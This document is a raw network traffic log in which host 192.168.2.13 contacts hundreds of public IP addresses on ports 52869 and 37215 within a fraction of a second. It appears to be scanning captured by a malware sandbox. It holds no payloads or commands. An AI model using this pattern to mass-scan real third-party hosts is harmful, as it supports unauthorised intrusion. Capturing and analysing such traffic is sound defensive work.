Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	176.132.29.170
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	94.148.40.185
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	66.92.49.16
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	64.230.209.33
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	8.5.104.247
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	176.84.114.161
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	77.136.230.103
Jul 20, 2024 23:05:44.791914940 CEST	43695	52869	192.168.2.13	192.147.168.153
Jul 20, 2024 23:05:44.792073011 CEST	52869	43695	94.184.209.167	192.168.2.13
Jul 20, 2024 23:05:44.792182922 CEST	52869	43695	109.202.190.223	192.168.2.13
Jul 20, 2024 23:05:44.792187929 CEST	52869	43695	27.227.89.153	192.168.2.13
Jul 20, 2024 23:05:44.792731047 CEST	37215	44719	157.27.183.120	192.168.2.13
Jul 20, 2024 23:05:44.792737961 CEST	52869	43695	115.141.187.49	192.168.2.13
Jul 20, 2024 23:05:44.792747974 CEST	52869	43695	152.187.71.156	192.168.2.13
Jul 20, 2024 23:05:44.792855024 CEST	37215	44719	41.121.242.110	192.168.2.13
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	20.91.234.81
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	41.198.113.71
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	41.61.10.225
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	197.22.12.138
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	197.60.247.81
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	157.140.240.84
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	197.211.119.33
Jul 20, 2024 23:05:44.792902946 CEST	44719	37215	192.168.2.13	41.192.138.42
Jul 20, 2024 23:05:44.793068886 CEST	80	49232	95.36.83.126	192.168.2.13
Jul 20, 2024 23:05:44.793226957 CEST	52869	43695	222.241.13.44	192.168.2.13
Jul 20, 2024 23:05:44.793231010 CEST	37215	44719	197.245.129.110	192.168.2.13
Jul 20, 2024 23:05:44.793301105 CEST	52869	43695	206.175.37.85	192.168.2.13
Jul 20, 2024 23:05:44.793303967 CEST	52869	43695	182.32.199.224	192.168.2.13
Jul 20, 2024 23:05:44.793584108 CEST	37215	44719	41.234.62.246	192.168.2.13
Jul 20, 2024 23:05:44.793793917 CEST	52869	43695	197.232.182.20	192.168.2.13
Jul 20, 2024 23:05:44.793924093 CEST	52869	43695	220.122.204.10	192.168.2.13
Jul 20, 2024 23:05:44.794085979 CEST	52869	43695	115.184.146.203	192.168.2.13
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	36.70.150.51
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	186.124.90.83
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	78.193.146.182
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	96.100.60.135
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	142.233.4.129
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	102.252.189.156
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	107.223.3.102
Jul 20, 2024 23:05:44.794131041 CEST	43695	52869	192.168.2.13	219.202.203.94
Jul 20, 2024 23:05:44.794339895 CEST	37215	44719	157.246.138.59	192.168.2.13
Jul 20, 2024 23:05:44.794344902 CEST	52869	43695	75.114.40.99	192.168.2.13
Jul 20, 2024 23:05:44.794506073 CEST	52869	43695	179.89.127.176	192.168.2.13
Jul 20, 2024 23:05:44.794509888 CEST	37215	44719	197.222.2.194	192.168.2.13
Jul 20, 2024 23:05:44.794622898 CEST	52869	43695	19.1.91.223	192.168.2.13
Jul 20, 2024 23:05:44.794840097 CEST	52869	43695	175.51.103.237	192.168.2.13
Jul 20, 2024 23:05:44.795047998 CEST	52869	43695	146.55.210.221	192.168.2.13
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	161.72.119.188
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	57.135.192.60
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	148.151.143.189
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	81.87.12.193
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	113.189.95.35
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	80.64.32.249
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	126.6.163.140
Jul 20, 2024 23:05:44.795084000 CEST	43695	52869	192.168.2.13	38.61.216.176
Jul 20, 2024 23:05:44.795244932 CEST	52869	43695	74.148.254.117	192.168.2.13
Jul 20, 2024 23:05:44.795444012 CEST	52869	43695	173.172.194.219	192.168.2.13
Jul 20, 2024 23:05:44.795448065 CEST	37215	44719	120.142.12.100	192.168.2.13
Jul 20, 2024 23:05:44.796061039 CEST	52869	43695	93.251.211.51	192.168.2.13
Jul 20, 2024 23:05:44.796065092 CEST	52869	43695	76.165.230.69	192.168.2.13
Jul 20, 2024 23:05:44.796072960 CEST	52869	43695	41.89.210.181	192.168.2.13
Jul 20, 2024 23:05:44.796133041 CEST	52869	43695	164.158.62.205	192.168.2.13
Jul 20, 2024 23:05:44.796283007 CEST	52869	43695	52.176.210.28	192.168.2.13
Jul 20, 2024 23:05:44.796287060 CEST	52869	43695	32.232.240.167	192.168.2.13
Jul 20, 2024 23:05:44.796499968 CEST	52869	43695	179.80.6.155	192.168.2.13
Jul 20, 2024 23:05:44.796622038 CEST	43695	52869	192.168.2.13	53.190.177.104
Jul 20, 2024 23:05:44.796622038 CEST	43695	52869	192.168.2.13	113.21.181.164
Jul 20, 2024 23:05:44.796622038 CEST	43695	52869	192.168.2.13	183.115.103.194
Jul 20, 2024 23:05:44.796622038 CEST	43695	52869	192.168.2.13	132.70.96.204
Jul 20, 2024 23:05:44.796622038 CEST	43695	52869	192.168.2.13	24.79.237.32
Jul 20, 2024 23:05:44.796622038 CEST	43695	52869	192.168.2.13	193.128.213.109
Jul 20, 2024 23:05:44.796622992 CEST	43695	52869	192.168.2.13	156.136.90.191
Jul 20, 2024 23:05:44.796622992 CEST	43695	52869	192.168.2.13	19.152.38.253
Jul 20, 2024 23:05:44.796839952 CEST	52869	43695	61.186.30.91	192.168.2.13
Jul 20, 2024 23:05:44.796844006 CEST	52869	43695	69.65.232.18	192.168.2.13
Jul 20, 2024 23:05:44.796852112 CEST	52869	43695	221.155.204.172	192.168.2.13
Jul 20, 2024 23:05:44.797095060 CEST	52869	43695	205.7.117.151	192.168.2.13
Jul 20, 2024 23:05:44.797103882 CEST	52869	43695	78.83.102.206	192.168.2.13
Jul 20, 2024 23:05:44.797344923 CEST	52869	43695	93.204.236.191	192.168.2.13
Jul 20, 2024 23:05:44.797470093 CEST	52869	43695	176.132.29.170	192.168.2.13
Jul 20, 2024 23:05:44.797727108 CEST	52869	43695	175.158.208.42	192.168.2.13
Jul 20, 2024 23:05:44.797730923 CEST	52869	43695	179.215.11.14	192.168.2.13
Jul 20, 2024 23:05:44.798209906 CEST	52869	43695	94.148.40.185	192.168.2.13
Jul 20, 2024 23:05:44.798275948 CEST	52869	43695	178.224.47.139	192.168.2.13
Jul 20, 2024 23:05:44.798319101 CEST	43695	52869	192.168.2.13	120.58.9.3
Jul 20, 2024 23:05:44.798319101 CEST	43695	52869	192.168.2.13	145.129.175.91
Jul 20, 2024 23:05:44.798319101 CEST	43695	52869	192.168.2.13	184.55.70.29
Jul 20, 2024 23:05:44.798319101 CEST	43695	52869	192.168.2.13	62.168.46.31
Jul 20, 2024 23:05:44.798319101 CEST	43695	52869	192.168.2.13	200.115.173.65
Jul 20, 2024 23:05:44.798320055 CEST	43695	52869	192.168.2.13	97.133.157.166
Jul 20, 2024 23:05:44.798320055 CEST	43695	52869	192.168.2.13	112.185.183.46
Jul 20, 2024 23:05:44.798320055 CEST	43695	52869	192.168.2.13	178.67.28.194
Jul 20, 2024 23:05:44.798394918 CEST	52869	43695	207.184.114.110	192.168.2.13
Jul 20, 2024 23:05:44.798399925 CEST	52869	43695	66.92.49.16	192.168.2.13
Jul 20, 2024 23:05:44.798408031 CEST	52869	43695	145.114.143.28	192.168.2.13
Jul 20, 2024 23:05:44.798458099 CEST	44719	37215	192.168.2.13	157.68.54.7
Jul 20, 2024 23:05:44.798458099 CEST	44719	37215	192.168.2.13	157.42.141.119
Jul 20, 2024 23:05:44.798459053 CEST	44719	37215	192.168.2.13	203.159.215.172
Jul 20, 2024 23:05:44.798459053 CEST	44719	37215	192.168.2.13	157.127.217.60
Jul 20, 2024 23:05:44.798459053 CEST	44719	37215	192.168.2.13	219.226.208.117
Jul 20, 2024 23:05:44.798459053 CEST	44719	37215	192.168.2.13	157.15.76.225
Jul 20, 2024 23:05:44.798459053 CEST	44719	37215	192.168.2.13	41.155.103.110
Jul 20, 2024 23:05:44.798459053 CEST	44719	37215	192.168.2.13	79.231.4.107
Jul 20, 2024 23:05:44.799024105 CEST	52869	43695	64.230.209.33	192.168.2.13
Jul 20, 2024 23:05:44.799184084 CEST	52869	43695	8.5.104.247	192.168.2.13
Jul 20, 2024 23:05:44.799187899 CEST	52869	43695	86.60.170.24	192.168.2.13
Jul 20, 2024 23:05:44.799321890 CEST	52869	43695	205.49.222.205	192.168.2.13
Jul 20, 2024 23:05:44.799408913 CEST	52869	43695	176.84.114.161	192.168.2.13
Jul 20, 2024 23:05:44.799998045 CEST	52869	43695	77.136.230.103	192.168.2.13
Jul 20, 2024 23:05:44.800148010 CEST	52869	43695	73.135.137.143	192.168.2.13
Jul 20, 2024 23:05:44.800152063 CEST	52869	43695	45.228.227.144	192.168.2.13
Jul 20, 2024 23:05:44.800160885 CEST	52869	43695	192.147.168.153	192.168.2.13
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	145.205.215.26
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	4.88.111.69
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	205.255.82.61
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	208.125.164.236
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	185.111.118.194
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	86.235.232.164
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	67.8.224.98
Jul 20, 2024 23:05:44.800435066 CEST	43695	52869	192.168.2.13	188.82.177.84
Jul 20, 2024 23:05:44.800513029 CEST	52869	43695	36.70.150.51	192.168.2.13
Jul 20, 2024 23:05:44.800734997 CEST	52869	43695	19.161.78.222	192.168.2.13
Jul 20, 2024 23:05:44.800739050 CEST	52869	43695	87.132.111.115	192.168.2.13
Jul 20, 2024 23:05:44.800770044 CEST	52869	43695	161.72.119.188	192.168.2.13
Jul 20, 2024 23:05:44.800962925 CEST	52869	43695	80.81.2.148	192.168.2.13
Jul 20, 2024 23:05:44.800966978 CEST	52869	43695	186.124.90.83	192.168.2.13
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	187.93.75.127
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	155.186.158.185
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	38.28.85.60
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	35.246.12.69
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	217.164.17.143
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	157.103.226.156
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	116.40.6.61
Jul 20, 2024 23:05:44.801152945 CEST	43695	52869	192.168.2.13	69.232.106.166
Jul 20, 2024 23:05:44.801501036 CEST	52869	43695	24.74.242.144	192.168.2.13
Jul 20, 2024 23:05:44.801599026 CEST	52869	43695	78.193.146.182	192.168.2.13
Jul 20, 2024 23:05:44.801604033 CEST	52869	43695	144.109.48.201	192.168.2.13
Jul 20, 2024 23:05:44.801611900 CEST	52869	43695	57.135.192.60	192.168.2.13
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	206.210.12.172
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	182.72.132.250
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	202.9.216.25
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	91.115.88.235
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	65.125.252.33
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	121.219.246.173
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	53.50.223.92
Jul 20, 2024 23:05:44.801870108 CEST	43695	52869	192.168.2.13	23.132.226.101
Jul 20, 2024 23:05:44.801923037 CEST	52869	43695	53.190.177.104	192.168.2.13
Jul 20, 2024 23:05:44.802428007 CEST	52869	43695	148.151.143.189	192.168.2.13
Jul 20, 2024 23:05:44.802592993 CEST	52869	43695	113.21.181.164	192.168.2.13
Jul 20, 2024 23:05:44.802597046 CEST	52869	43695	96.100.60.135	192.168.2.13
Jul 20, 2024 23:05:44.802599907 CEST	52869	43695	183.115.103.194	192.168.2.13
Jul 20, 2024 23:05:44.803014994 CEST	52869	43695	110.23.134.15	192.168.2.13
Jul 20, 2024 23:05:44.803229094 CEST	52869	43695	132.70.96.204	192.168.2.13
Jul 20, 2024 23:05:44.803237915 CEST	52869	43695	59.146.169.141	192.168.2.13
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	181.227.99.131
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	66.97.22.232
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	149.156.1.76
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	210.10.234.124
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	163.211.50.1
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	120.38.95.138
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	117.207.85.104
Jul 20, 2024 23:05:44.803474903 CEST	43695	52869	192.168.2.13	27.217.254.132
Jul 20, 2024 23:05:44.803962946 CEST	52869	43695	142.233.4.129	192.168.2.13
Jul 20, 2024 23:05:44.803967953 CEST	52869	43695	120.58.9.3	192.168.2.13
Jul 20, 2024 23:05:44.803976059 CEST	52869	43695	81.87.12.193	192.168.2.13
Jul 20, 2024 23:05:44.804121017 CEST	52869	43695	145.129.175.91	192.168.2.13
Jul 20, 2024 23:05:44.804125071 CEST	52869	43695	24.79.237.32	192.168.2.13
Jul 20, 2024 23:05:44.804133892 CEST	52869	43695	184.55.70.29	192.168.2.13
Jul 20, 2024 23:05:44.804497957 CEST	44719	37215	192.168.2.13	58.59.241.40
Jul 20, 2024 23:05:44.804497957 CEST	44719	37215	192.168.2.13	197.155.53.176
Jul 20, 2024 23:05:44.804497957 CEST	44719	37215	192.168.2.13	157.122.185.61
Jul 20, 2024 23:05:44.804497957 CEST	44719	37215	192.168.2.13	197.157.102.168
Jul 20, 2024 23:05:44.804497957 CEST	44719	37215	192.168.2.13	157.220.1.219
Jul 20, 2024 23:05:44.804497957 CEST	44719	37215	192.168.2.13	197.50.6.110
Jul 20, 2024 23:05:44.804498911 CEST	44719	37215	192.168.2.13	69.50.222.236
Jul 20, 2024 23:05:44.804498911 CEST	43695	52869	192.168.2.13	83.48.184.22
Jul 20, 2024 23:05:44.804673910 CEST	52869	43695	113.189.95.35	192.168.2.13
Jul 20, 2024 23:05:44.804680109 CEST	52869	43695	62.168.46.31	192.168.2.13
Jul 20, 2024 23:05:44.804724932 CEST	52869	43695	102.252.189.156	192.168.2.13
Jul 20, 2024 23:05:44.805241108 CEST	52869	43695	80.64.32.249	192.168.2.13
Jul 20, 2024 23:05:44.805246115 CEST	52869	43695	107.223.3.102	192.168.2.13
Jul 20, 2024 23:05:44.805329084 CEST	52869	43695	126.6.163.140	192.168.2.13
Jul 20, 2024 23:05:44.805334091 CEST	52869	43695	200.115.173.65	192.168.2.13
Jul 20, 2024 23:05:44.805536985 CEST	52869	43695	219.202.203.94	192.168.2.13
Jul 20, 2024 23:05:44.805838108 CEST	52869	43695	97.133.157.166	192.168.2.13
Jul 20, 2024 23:05:44.805843115 CEST	52869	43695	193.128.213.109	192.168.2.13
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	169.175.210.186
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	184.30.238.152
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	112.78.211.234
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	87.160.65.233
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	78.17.151.252
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	206.67.226.137
Jul 20, 2024 23:05:44.806566000 CEST	43695	52869	192.168.2.13	204.73.153.169
Jul 20, 2024 23:05:44.806603909 CEST	52869	43695	38.61.216.176	192.168.2.13
Jul 20, 2024 23:05:44.806627989 CEST	52869	43695	112.185.183.46	192.168.2.13
Jul 20, 2024 23:05:44.807039022 CEST	52869	43695	145.205.215.26	192.168.2.13
Jul 20, 2024 23:05:44.807043076 CEST	52869	43695	156.136.90.191	192.168.2.13
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	203.121.219.208
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	144.23.204.162
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	152.195.201.20
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	86.61.77.117
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	12.206.51.11
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	27.68.132.62
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	44.86.7.146
Jul 20, 2024 23:05:44.807317972 CEST	43695	52869	192.168.2.13	189.159.48.195
Jul 20, 2024 23:05:44.807324886 CEST	52869	43695	178.67.28.194	192.168.2.13
Jul 20, 2024 23:05:44.807328939 CEST	52869	43695	4.88.111.69	192.168.2.13
Jul 20, 2024 23:05:44.807338953 CEST	52869	43695	187.93.75.127	192.168.2.13
Jul 20, 2024 23:05:44.807427883 CEST	52869	43695	206.210.12.172	192.168.2.13
Jul 20, 2024 23:05:44.807432890 CEST	52869	43695	155.186.158.185	192.168.2.13
Jul 20, 2024 23:05:44.807929993 CEST	52869	43695	182.72.132.250	192.168.2.13
Jul 20, 2024 23:05:44.807934999 CEST	52869	43695	38.28.85.60	192.168.2.13
Jul 20, 2024 23:05:44.808511019 CEST	52869	43695	205.255.82.61	192.168.2.13
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	72.40.240.24
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	36.189.243.172
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	90.26.4.235
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	204.228.135.174
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	169.73.39.67
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	222.164.84.61
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	108.245.220.71
Jul 20, 2024 23:05:44.808651924 CEST	43695	52869	192.168.2.13	31.108.53.46
Jul 20, 2024 23:05:44.808670998 CEST	52869	43695	19.152.38.253	192.168.2.13
Jul 20, 2024 23:05:44.808675051 CEST	52869	43695	208.125.164.236	192.168.2.13
Jul 20, 2024 23:05:44.808686972 CEST	52869	43695	202.9.216.25	192.168.2.13
Jul 20, 2024 23:05:44.808949947 CEST	43695	52869	192.168.2.13	138.88.75.84
Jul 20, 2024 23:05:44.808949947 CEST	43695	52869	192.168.2.13	141.228.113.81
Jul 20, 2024 23:05:44.808949947 CEST	43695	52869	192.168.2.13	210.76.243.9
Jul 20, 2024 23:05:44.808949947 CEST	43695	52869	192.168.2.13	150.155.228.185
Jul 20, 2024 23:05:44.808949947 CEST	43695	52869	192.168.2.13	8.80.8.183
Jul 20, 2024 23:05:44.808949947 CEST	43695	52869	192.168.2.13	138.236.222.12
Jul 20, 2024 23:05:44.809741974 CEST	52869	43695	185.111.118.194	192.168.2.13
Jul 20, 2024 23:05:44.809746981 CEST	52869	43695	35.246.12.69	192.168.2.13
Jul 20, 2024 23:05:44.809756041 CEST	52869	43695	91.115.88.235	192.168.2.13
Jul 20, 2024 23:05:44.810180902 CEST	52869	43695	217.164.17.143	192.168.2.13
Jul 20, 2024 23:05:44.810185909 CEST	52869	43695	181.227.99.131	192.168.2.13
Jul 20, 2024 23:05:44.810339928 CEST	52869	43695	66.97.22.232	192.168.2.13
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	116.113.222.25
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	58.194.72.169
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	186.100.180.96
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	18.30.181.200
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	185.177.233.236
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	54.177.126.228
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	185.28.61.142
Jul 20, 2024 23:05:44.810472965 CEST	43695	52869	192.168.2.13	187.169.33.85
Jul 20, 2024 23:05:44.810707092 CEST	52869	43695	157.103.226.156	192.168.2.13
Jul 20, 2024 23:05:44.810715914 CEST	52869	43695	86.235.232.164	192.168.2.13
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	210.52.204.206
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	150.77.23.224
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	161.76.112.94
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	217.176.102.120
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	52.140.45.218
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	181.110.157.143
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	107.124.173.140
Jul 20, 2024 23:05:44.811103106 CEST	43695	52869	192.168.2.13	86.55.93.188
Jul 20, 2024 23:05:44.811136007 CEST	52869	43695	65.125.252.33	192.168.2.13
Jul 20, 2024 23:05:44.811350107 CEST	52869	43695	67.8.224.98	192.168.2.13
Jul 20, 2024 23:05:44.811547041 CEST	52869	43695	149.156.1.76	192.168.2.13
Jul 20, 2024 23:05:44.811712980 CEST	52869	43695	188.82.177.84	192.168.2.13
Jul 20, 2024 23:05:44.812010050 CEST	52869	43695	210.10.234.124	192.168.2.13
Jul 20, 2024 23:05:44.812016010 CEST	52869	43695	116.40.6.61	192.168.2.13
Jul 20, 2024 23:05:44.812223911 CEST	52869	43695	163.211.50.1	192.168.2.13
Jul 20, 2024 23:05:44.812735081 CEST	52869	43695	69.232.106.166	192.168.2.13
Jul 20, 2024 23:05:44.812740088 CEST	52869	43695	120.38.95.138	192.168.2.13
Jul 20, 2024 23:05:44.812747955 CEST	52869	43695	203.121.219.208	192.168.2.13
Jul 20, 2024 23:05:44.812963963 CEST	52869	43695	121.219.246.173	192.168.2.13
Jul 20, 2024 23:05:44.813026905 CEST	52869	43695	144.23.204.162	192.168.2.13
Jul 20, 2024 23:05:44.813030958 CEST	52869	43695	53.50.223.92	192.168.2.13
Jul 20, 2024 23:05:44.813505888 CEST	52869	43695	152.195.201.20	192.168.2.13
Jul 20, 2024 23:05:44.813568115 CEST	52869	43695	117.207.85.104	192.168.2.13
Jul 20, 2024 23:05:44.813741922 CEST	52869	43695	23.132.226.101	192.168.2.13
Jul 20, 2024 23:05:44.813746929 CEST	52869	43695	169.175.210.186	192.168.2.13
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	200.151.212.227
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	150.211.139.252
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	187.150.102.98
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	67.42.38.190
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	150.95.209.221
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	200.213.216.86
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	27.52.79.120
Jul 20, 2024 23:05:44.814037085 CEST	43695	52869	192.168.2.13	188.138.217.87
Jul 20, 2024 23:05:44.814105034 CEST	52869	43695	27.217.254.132	192.168.2.13
Jul 20, 2024 23:05:44.814109087 CEST	52869	43695	86.61.77.117	192.168.2.13
Jul 20, 2024 23:05:44.814117908 CEST	52869	43695	184.30.238.152	192.168.2.13
Jul 20, 2024 23:05:44.814371109 CEST	52869	43695	12.206.51.11	192.168.2.13
Jul 20, 2024 23:05:44.814505100 CEST	52869	43695	27.68.132.62	192.168.2.13
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	221.162.28.9
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	198.182.204.144
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	186.218.138.5
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	120.195.96.99
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	17.255.194.179
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	14.206.175.181
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	23.185.123.183
Jul 20, 2024 23:05:44.814778090 CEST	43695	52869	192.168.2.13	97.55.202.224
Jul 20, 2024 23:05:44.815258026 CEST	52869	43695	112.78.211.234	192.168.2.13
Jul 20, 2024 23:05:44.815346956 CEST	52869	43695	138.88.75.84	192.168.2.13
Jul 20, 2024 23:05:44.815818071 CEST	52869	43695	44.86.7.146	192.168.2.13
Jul 20, 2024 23:05:44.815821886 CEST	52869	43695	141.228.113.81	192.168.2.13
Jul 20, 2024 23:05:44.815830946 CEST	52869	43695	189.159.48.195	192.168.2.13
Jul 20, 2024 23:05:44.816245079 CEST	43695	52869	192.168.2.13	223.93.233.28
Jul 20, 2024 23:05:44.816245079 CEST	43695	52869	192.168.2.13	201.27.64.140
Jul 20, 2024 23:05:44.816245079 CEST	43695	52869	192.168.2.13	136.131.232.10
Jul 20, 2024 23:05:44.816245079 CEST	43695	52869	192.168.2.13	138.73.16.127
Jul 20, 2024 23:05:44.816246033 CEST	43695	52869	192.168.2.13	101.196.219.163
Jul 20, 2024 23:05:44.816246033 CEST	43695	52869	192.168.2.13	71.19.185.18
Jul 20, 2024 23:05:44.816246033 CEST	43695	52869	192.168.2.13	206.69.179.214
Jul 20, 2024 23:05:44.816246033 CEST	43695	52869	192.168.2.13	201.159.63.193
Jul 20, 2024 23:05:44.816330910 CEST	52869	43695	72.40.240.24	192.168.2.13
Jul 20, 2024 23:05:44.816335917 CEST	52869	43695	87.160.65.233	192.168.2.13
Jul 20, 2024 23:05:44.816344976 CEST	52869	43695	36.189.243.172	192.168.2.13
Jul 20, 2024 23:05:44.816476107 CEST	52869	43695	78.17.151.252	192.168.2.13
Jul 20, 2024 23:05:44.816574097 CEST	52869	43695	116.113.222.25	192.168.2.13
Jul 20, 2024 23:05:44.816577911 CEST	52869	43695	210.76.243.9	192.168.2.13
Jul 20, 2024 23:05:44.816608906 CEST	52869	43695	90.26.4.235	192.168.2.13
Jul 20, 2024 23:05:44.816791058 CEST	52869	43695	206.67.226.137	192.168.2.13
Jul 20, 2024 23:05:44.817118883 CEST	52869	43695	58.194.72.169	192.168.2.13
Jul 20, 2024 23:05:44.817126036 CEST	52869	43695	204.228.135.174	192.168.2.13
Jul 20, 2024 23:05:44.817563057 CEST	52869	43695	186.100.180.96	192.168.2.13
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	154.217.210.224
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	218.1.187.225
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	80.69.134.131
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	157.20.48.16
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	142.159.1.169
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	9.78.192.32
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	120.39.70.249
Jul 20, 2024 23:05:44.817564964 CEST	43695	52869	192.168.2.13	155.20.152.176
Jul 20, 2024 23:05:44.817573071 CEST	52869	43695	169.73.39.67	192.168.2.13
Jul 20, 2024 23:05:44.817826033 CEST	52869	43695	18.30.181.200	192.168.2.13
